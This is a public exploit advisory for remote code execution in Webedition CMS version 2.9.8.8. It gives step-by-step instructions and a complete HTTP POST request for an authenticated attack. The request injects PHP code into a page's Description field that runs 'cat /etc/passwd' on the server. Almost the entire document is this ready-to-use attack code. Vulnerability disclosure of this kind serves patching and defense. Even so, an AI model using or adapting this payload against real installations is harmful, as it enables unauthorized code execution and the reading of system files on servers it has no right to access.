Exploit Title: Webedition CMS v2.9.8.8 - Remote Code Execution (RCE) Application: webedition Cms Version: v2.9.8.8 Bugs: RCE Technology: PHP Vendor URL: https://www.webedition.org/ Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1 Date of found: 03.08.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps 1. Login account 2. Go to New -> Webedition page -> empty page 3. Select php 4. Set as "><?php echo system("cat /etc/passwd");?> Description area Poc request: POST /webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd HTTP/1.1 Host: localhost Content-Length: 1621 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: http://localhost/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300 Connection: close we_transaction=4fd880c06df5a590754ce5b8738cd0dd&we_003be033b474a5c25132d388906fb4ae_Filename=poc&we_003be033b474a5c25132d388906fb4ae_Extension=.php&wetmp_we_003be033b474a5c25132d388906fb4ae_Extension=&we_003be033b474a5c25132d388906fb4ae_ParentPath=%2F&we_003be033b474a5c25132d388906fb4ae_ParentID=0&yuiAcContentTypeParentPath=&we_003be033b474a5c25132d388906fb4ae_DocType=&we_003be033b474a5c25132d388906fb4ae_TemplateName=%2F&we_003be033b474a5c25132d388906fb4ae_TemplateID=&yuiAcContentTypeTemplate=&we_003be033b474a5c25132d388906fb4ae_IsDynamic=0&we_003be033b474a5c25132d388906fb4ae_IsSearchable=0&we_003be033b474a5c25132d388906fb4ae_InGlossar=0&we_003be033b474a5c25132d388906fb4ae_txt%5BTitle%5D=asdf&we_003be033b474a5c25132d388906fb4ae_txt%5BDescription%5D=%22%3E%3C%3Fphp+echo+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E&we_003be033b474a5c25132d388906fb4ae_txt%5BKeywords%5D=asdf&fold%5B0%5D=0&fold_named%5BPropertyPage_3%5D=0&we_003be033b474a5c25132d388906fb4ae_Language=en_GB&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Bde_DE%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Bde_DE%5D=&yuiAcContentTypeLanguageDocdeDE=&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Ben_GB%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Ben_GB%5D=&yuiAcContentTypeLanguageDocenGB=&fold%5B1%5D=0&fold_named%5BPropertyPage_4%5D=0&we_003be033b474a5c25132d388906fb4ae_CopyID=0&fold%5B2%5D=0&fold_named%5BPropertyPage_6%5D=0&wetmp_003be033b474a5c25132d388906fb4ae_CreatorID=%2Fadmin&we_003be033b474a5c25132d388906fb4ae_CreatorID=1&we_003be033b474a5c25132d388906fb4ae_RestrictOwners=0&we_complete_request=1